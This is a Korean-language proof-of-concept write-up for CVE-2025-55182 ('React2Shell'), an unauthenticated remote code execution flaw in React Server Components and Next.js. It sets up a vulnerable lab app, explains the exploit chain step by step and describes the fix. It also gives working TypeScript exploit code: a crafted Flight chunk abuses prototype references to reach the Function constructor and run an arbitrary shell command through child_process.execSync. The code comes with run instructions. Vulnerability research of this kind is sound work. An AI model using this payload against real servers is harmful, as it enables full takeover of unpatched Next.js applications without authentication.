
CVE-2025-55182 (React2Shell)에 대한 개념 증명: Flight 프로토콜 역직렬화를 통한 React Server Components / Next.js에서의 인증되지 않은 RCE
| 항목 | 내용 |
|---|
| CVE 번호 | CVE-2025-55182 |
| 별칭 | React2Shell |
| 취약점 유형 | 인증되지 않은 원격 코드 실행(Unauthenticated RCE); CWE-502 신뢰할 수 없는 데이터 역직렬화(Deserialization of Untrusted Data) [3] |
| CVSS 점수 | 10.0 (Critical) (CVSS 3.1, Facebook/CNA [2]) |
| 영향을 받는 패키지 | react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack |
| 영향을 받는 버전 | React 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 이상, 15.x, 16.x |
| 공격 복잡도 | 매우 낮음(단일 HTTP POST 요청) |
| 인증 필요 여부 | 아니요 |
취약한 버전(16.0.6)을 사용하여 Next 앱 생성:
pnpm create [email protected] next-app --yes
next-app/app/ 아래에 actions.ts를 추가하고 Server Action으로 표시:
"use server";
export async function testAction(formData: FormData) {
console.log("Action called with:", formData);
}
홈페이지(예: app/page.tsx)에 폼을 추가하고, action은 위 testAction을 가리키며 최소 하나의 필드(예: hidden input)를 포함해야 합니다.
Next.js는 해당 폼에 대해 HTML에
name="$ACTION_ID_<40자 hex>"인 hidden input을 생성합니다; POC는 홈페이지 HTML에서 정규식으로 이 ID를 추출합니다.
프로젝트 내 next-app/Dockerfile과 docker-compose.yml을 사용하여 Next 앱을 빌드하고 실행할 수 있습니다. 작성 방법은 공식 예제 [8]을 참고하세요.
프로젝트 루트 디렉터리에서 실행:
docker compose up --build -d
http://localhost:3000에서 실행 중인 Next 앱에 접속할 수 있습니다.
POC 종료 후 Docker 환경을 완전히 제거합니다:
docker compose down -v
POC 실행 시 스크립트가 홈페이지를 가져와 정규식 \$ACTION_ID_([a-f0-9]{40})/으로 ID를 추출합니다. 예시:
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/
async function extractActionIdFromPage(baseUrl: string) {
const response = await fetch(baseUrl);
const html = await response.text();
const match = html.match(ACTION_ID_REGEX);
return match ? match[1] : "";
}
프로젝트 루트에서 의존성을 설치한 후 실행:
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]
핵심 코드 조각은 다음과 같습니다:
function escapeExecutable(executable: string) {
return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}
const escapedExecutable = escapeExecutable(executable);
const craftedChunk = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then": "$B0"}',
_response: {
_prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
_formData: {
get: "$1:constructor:constructor",
},
},
};
const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);
try {
const response = await fetch(baseUrl, {
method: "POST",
headers: { "Next-Action": actionId },
body: formData,
signal: controller.signal,
});
clearTimeout(timeoutId);
const text = await response.text();
console.log(`Status Code: ${response.status}`);
console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
// handle timeout or error
}
다음은 대상 호스트에 파일을 쓰는 예시입니다:
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"
docker compose exec으로 컨테이너에 들어가 확인하거나 Docker Desktop을 통해 확인할 수 있습니다.취약점은 React의 Flight 프로토콜 역직렬화 메커니즘(RSC Flight Deserializer)에 있습니다. 이 메커니즘은 서버와 클라이언트 간에 React 컴포넌트 상태를 전달하는 역할을 하지만, 처리 과정에 심각한 신뢰 경계(trust boundary) 문제가 존재합니다.
React Flight 프로토콜은 React가 Server Components와 Server Actions를 위해 설계한 와이어 포맷(wire format)입니다: 컴포넌트 트리, 함수 매개변수 등을 JSON으로 표현된 chunk 스트림으로 직렬화하고,
$숫자,$숫자:키이름을 통해 chunk 간 참조를 설정하여 서버가 완전한 JavaScript 값을 복원할 수 있게 합니다.
공격자가 악의적인 HTTP POST 전송
↓
[1단계] 자기 참조 루프 객체 생성 (Self-referential loop)
↓
[2단계] JavaScript 엔진이 공격자가 제어하는 함수를 호출하도록 유도
↓
[3단계] 악성 데이터를 주입하여 Flight 초기화 프로세스 트리거
↓
[4단계] Blob Handler를 통해 Function 생성자 호출
↓
서버에서 임의의 JavaScript 실행 (RCE)
React의 Server Functions(Next.js에서는 Server Actions)는 프런트엔드가 백엔드로 보낼 데이터를 React Flight 프로토콜을 통해 "조각조각"의 chunk로 직렬화한 후, 폼 데이터(form data)로 전송합니다.
이 설계의 장점은 다음과 같습니다:
Chunk는 서로 참조할 수 있습니다. 예:
["$1"] (첫 번째 chunk 참조){"object":"fruit","name":"$2:fruitName"} (두 번째 chunk의 fruitName 참조){"fruitName":"cherry"}서버가 해석하면: { object: 'fruit', name: 'cherry' }를 얻습니다. 즉, 프로토콜은 $숫자:키이름으로 다른 chunk의 속성을 가리킨 다음 최종 JavaScript 객체로 조합할 수 있습니다.
패치 이전의 구현에서는 이러한 참조를 구문 분석할 때 "해당 키가 실제로 해당 객체 자체에 존재하는지"를 엄격하게 검사하지 않았기 때문에, 공격자는 참조를 통해 객체 프로토타입(prototype) 의 속성을 읽을 수 있었습니다.
예를 들어 다음과 같은 payload를 구성할 수 있습니다:
["$1:__proto__:constructor:constructor"]{"x":1}서버가 "chunk 1의 __proto__ → constructor → constructor"를 해석하면 Function 생성자([Function: Function])를 얻습니다. 즉, 문자열로 함수를 생성하는 내장 생성자입니다. 즉, 부적절한 참조 체인을 통해 서버 측에서 Function을 획득하여 문자열을 코드로 실행할 수 있습니다.
Next.js가 폼을 수신하면 decodeReplyFromBusboy를 사용하여 chunk를 하나의 값으로 복원한 후, 해당 값을 await합니다.
JavaScript에서 객체에 .then 메서드가 있으면 thenable로 간주됩니다. await할 때 이 .then이 호출됩니다. 따라서 "디코딩 결과"의 .then이 공격자가 제어하는 함수(예: 위의 Function 생성자)를 가리키게 하면, await 시점에 해당 로직이 실행됩니다. 공격의 다음 단계는 "디코딩 후 thenable처럼 보이는 객체"를 구성하고, 그 .then을 의도된 호출 지점(call gadget)으로 설정하는 것입니다.
$@0으로 '원시 chunk' 참조
프로토콜에서 $@숫자는 "N번째 chunk의 원시 내용을 가져오고 더 이상 구문 분석하지 않음"을 의미합니다. 따라서 chunk 1을 "$@0"으로 설정하면 구문 분석 과정에서 "chunk 0 자체"의 원시 표현을 읽게 됩니다.
chunk 0의 .then을 Chunk의 prototype으로 설정
chunk 0이 객체이고 {"then": "$1:__proto__:then", ...} 형태이며, chunk 1이 "$@0"이면 구문 분석 시 chunk 0의 .then이 Chunk.prototype.then(Flight 프로토콜에서 Chunk 자체가 thenable임)으로 설정됩니다. 이렇게 하면 Next.js가 디코딩 결과를 await할 때 Chunk의 .then 로직이 실행됩니다.
initializeModelChunk 트리거
Chunk.prototype.then에서 해당 '가짜 chunk'의 status가 "resolved_model"이면 initializeModelChunk가 호출됩니다. 이 함수는 chunk의 value를 JSON으로 구문 분석하고, 구문 분석된 객체에 대해 '부활'(revive) 과정을 수행하며, 이 과정에서 다양한 특수 접두사(예: $B로 시작하는 blob 참조)가 처리됩니다.
호출 지점: _response._formData.get(_prefix + id)
$B 접두사를 처리할 때 프로그램이 실행됩니다:
response._formData.get(response._prefix + 어떤 id).
가짜 chunk에서 _response를 통해 _formData와 _prefix를 제어하고, _formData.get을 Function 생성자로, _prefix를 실행하려는 코드 문자열로 설정하면 해당 줄은 다음과 같이 변합니다:
Function("우리가 작성한 코드" + "0")
즉, "문자열로 함수를 생성"하게 됩니다. 이 함수는 해당 chunk의 .then 반환값이 되고, 동일한 promise 체인에서 await되어 호출되므로 서버에서 우리의 코드가 실행됩니다.
실제 RCE
"우리가 작성한 코드"를 예를 들어:
process.mainModule.require('child_process').execSync('실행할 시스템 명령어');
로 변경하면 서버에서 원격 코드 실행(RCE) 을 달성할 수 있습니다.
React는 PR #35277 [9] (커밋 e2fd5dc [10])에서 이 취약점을 수정했으며, 핵심은 두 가지입니다:
속성 해석을 prototype 체인을 따라가지 않도록 제한
requireModule 등 chunk 참조를 해석하는 로직에서, 먼저 hasOwnProperty로 "해당 키가 실제로 객체 자체에 존재하는지"를 확인합니다. 존재하지 않으면 undefined를 반환하여 __proto__에서 constructor 등 노출되어서는 안 되는 속성을 얻지 못하게 합니다. 이 수정은 여러 Flight 관련 모듈(예: ReactFlightClientConfigBundlerNode, ReactFlightClientConfigBundlerWebpack 및 Parcel/Turbopack 대응 설정)에 적용되어 "참조를 통해 Function 생성자 획득 → thenable 구성 → get gadget 트리거로 임의 코드 실행" 악용 체인을 차단합니다.
decodeReplyFromBusboy의 오류 처리
form data 구문 분석(resolveField, resolveFileComplete 등) 시 try/catch를 추가하여 구문 분석 중 오류가 발생하면 busboyStream.destroy(error)를 호출함으로써 오류가 올바르게 전파되고 스트림이 불일치 상태에 빠지는 것을 방지하여, 구문 분석 예외 시 악용 가능성을 줄입니다.